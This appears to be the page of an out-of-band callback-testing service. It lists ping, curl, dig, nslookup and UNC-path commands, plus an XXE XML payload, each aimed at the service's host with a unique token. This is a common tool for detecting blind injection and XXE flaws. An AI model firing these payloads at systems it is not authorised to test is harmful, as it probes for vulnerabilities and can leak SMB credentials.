$ ping -c1 -p 00189f7cf2c02c98830cd62569787800 unhack.ca
 
$ curl http://unhack.ca/p/189f7cf2c02c98830cd625697878
 
$ dig 189f7cf2c02c98830cd625697878 @unhack.ca
 
$ dig 189f7cf2c02c98830cd625697878.ns.unhack.ca
 
C:\> nslookup 189f7cf2c02c98830cd625697878 unhack.ca
 
C:\> type \\unhack.ca\189f7cf2c02c98830cd625697878\f.txt
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/189f7cf2c02c98830cd625697878">]>
    <foo>&xxe;</foo>
 
Waiting for ping...